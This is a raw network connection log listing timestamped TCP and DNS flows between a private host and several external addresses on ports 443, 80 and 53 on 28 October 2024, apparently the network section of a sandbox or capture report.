Oct 28, 2024 19:45:24.883337021 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:25.042973995 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:25.091362953 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:25.091437101 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:25.091655970 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:25.092360973 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:25.092360973 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:25.092379093 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:25.092387915 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:26.002840996 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.002886057 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:26.002979994 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.004034996 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.004050970 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:26.033924103 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:26.751966000 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:26.752062082 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.754811049 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.754827023 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:26.755052090 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:26.801942110 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.812928915 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:26.855336905 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059732914 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059760094 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059766054 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059776068 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059808969 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059851885 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.059876919 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.059890985 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.059928894 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.064308882 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.064374924 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.064382076 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.064393044 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.064435005 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.070143938 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.070154905 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:27.070172071 CET	49714	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:45:27.070175886 CET	443	49714	172.202.163.200	192.168.2.16
Oct 28, 2024 19:45:28.365107059 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:28.444957018 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:28.666977882 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:29.272974014 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:29.941129923 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:29.941278934 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:29.941340923 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:30.489600897 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:30.615995884 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:30.616029024 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:30.616453886 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:30.616487026 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:30.616561890 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:30.616919041 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:30.616929054 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.517776966 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.518073082 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:31.518090010 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.519385099 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.519690037 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:31.519812107 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:31.519818068 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.519860983 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.572948933 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:31.793416977 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.843945980 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:31.843961954 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.844974041 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:31.845130920 CET	443	49715	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:31.845202923 CET	49715	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:32.160170078 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.160275936 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.160386086 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.160574913 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.160614014 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.169523001 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.169570923 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.169653893 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.169862032 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.169881105 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.843586922 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.843923092 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.843985081 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.844868898 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.845216990 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.845314026 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.845351934 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.863295078 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.872999907 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.873047113 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.874522924 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.886861086 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.887096882 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.887336016 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:32.896979094 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:32.897962093 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:32.928981066 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.123344898 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123402119 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123421907 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123440027 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123478889 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123495102 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.123497009 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123519897 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.123523951 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.123538017 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.123569965 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.123603106 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.141108036 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.141164064 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.141191959 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.141222000 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.141251087 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.183991909 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.241101027 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.241132975 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.241178036 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.241211891 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.241246939 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.241265059 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.241319895 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.247980118 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:33.257421970 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.257466078 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.257540941 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.257556915 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.257586002 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.257635117 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.258225918 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.258292913 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.258306980 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.258393049 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.258447886 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.258466005 CET	443	49716	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:33.258501053 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.258501053 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.258543968 CET	49716	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:33.285149097 CET	49719	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.290477037 CET	53	49719	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.290541887 CET	49719	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.290586948 CET	49719	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.290599108 CET	49719	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.290666103 CET	49719	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.290918112 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:33.290968895 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:33.291033983 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:33.291253090 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:33.291282892 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:33.295948029 CET	53	49719	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.295994043 CET	53	49719	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.338958025 CET	53	49719	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.769934893 CET	53	49719	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.770092964 CET	49719	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:34.139941931 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.140263081 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.140315056 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.141834021 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.141927004 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.143201113 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.143302917 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.144103050 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.144119978 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.190013885 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.383424997 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.383455992 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.383528948 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.383549929 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.384160995 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.384212971 CET	443	49720	162.19.58.157	192.168.2.16
Oct 28, 2024 19:45:34.384288073 CET	49720	443	192.168.2.16	162.19.58.157
Oct 28, 2024 19:45:34.395745993 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:34.395773888 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:34.395853996 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:34.396045923 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:34.396060944 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:34.654031038 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:35.092046976 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.092308998 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.092323065 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.093854904 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.093933105 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.094283104 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.094394922 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.094424963 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.135375977 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.148972034 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.148978949 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.197072983 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.259202003 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.259237051 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.259304047 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.259318113 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.259331942 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:35.259396076 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.259794950 CET	49722	443	192.168.2.16	169.197.85.95
Oct 28, 2024 19:45:35.259804010 CET	443	49722	169.197.85.95	192.168.2.16
Oct 28, 2024 19:45:37.704034090 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:42.857004881 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:47.312062025 CET	49680	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:46:03.464350939 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:03.464435101 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:03.464545012 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:03.464879990 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:03.464912891 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.246216059 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.246336937 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.247536898 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.247555017 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.248012066 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.249351978 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.295373917 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.505836964 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.505877972 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.505897999 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.505947113 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.505979061 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.506017923 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.506056070 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.511580944 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.511620998 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.511677027 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.511692047 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.511720896 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.511723995 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.511780977 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.511821985 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.511822939 CET	49723	443	192.168.2.16	172.202.163.200
Oct 28, 2024 19:46:04.511857033 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:04.511878014 CET	443	49723	172.202.163.200	192.168.2.16
Oct 28, 2024 19:46:11.386353970 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:11.386425018 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:11.386533976 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:11.389281988 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:11.389307022 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.141395092 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.141576052 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.208297968 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.208357096 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.209259033 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.209331989 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.210875988 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.255357981 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.390989065 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.391042948 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.391086102 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.391110897 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.391154051 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.391154051 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.391192913 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.391237020 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.391247988 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.391299963 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.391423941 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:12.391472101 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.394208908 CET	49724	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:12.394237041 CET	443	49724	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:15.753283978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:15.758704901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:15.758802891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:15.759381056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:15.764691114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:16.434668064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:16.435194016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:16.435282946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:16.435560942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:16.435992002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:16.436047077 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:16.830071926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:16.835517883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:16.993619919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.038167000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.054976940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.060491085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.218087912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.218156099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.218231916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.218616962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.218653917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.218713999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.219615936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.219650984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.219682932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.219707012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.220647097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.220680952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.220704079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.221636057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.221671104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.221690893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.222604036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.222640038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.222667933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.277112961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.336853981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.337006092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.337042093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.337084055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.337964058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.337997913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.338027000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.338910103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.338943005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.338977098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.338989019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.339030981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.339783907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.339817047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.339879036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.340820074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.340853930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.340920925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.341797113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.341833115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.341897011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.342848063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.342881918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.342916012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.342936039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.343820095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.343853951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.343873024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.344846964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.344881058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.344916105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.345856905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.345890999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.345915079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.346632004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.346683979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.346692085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.389168978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.455271006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.455672026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.455708981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.455746889 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.456440926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.456521988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.456676006 CET	80	49726	166.1.160.211	192.168.2.16
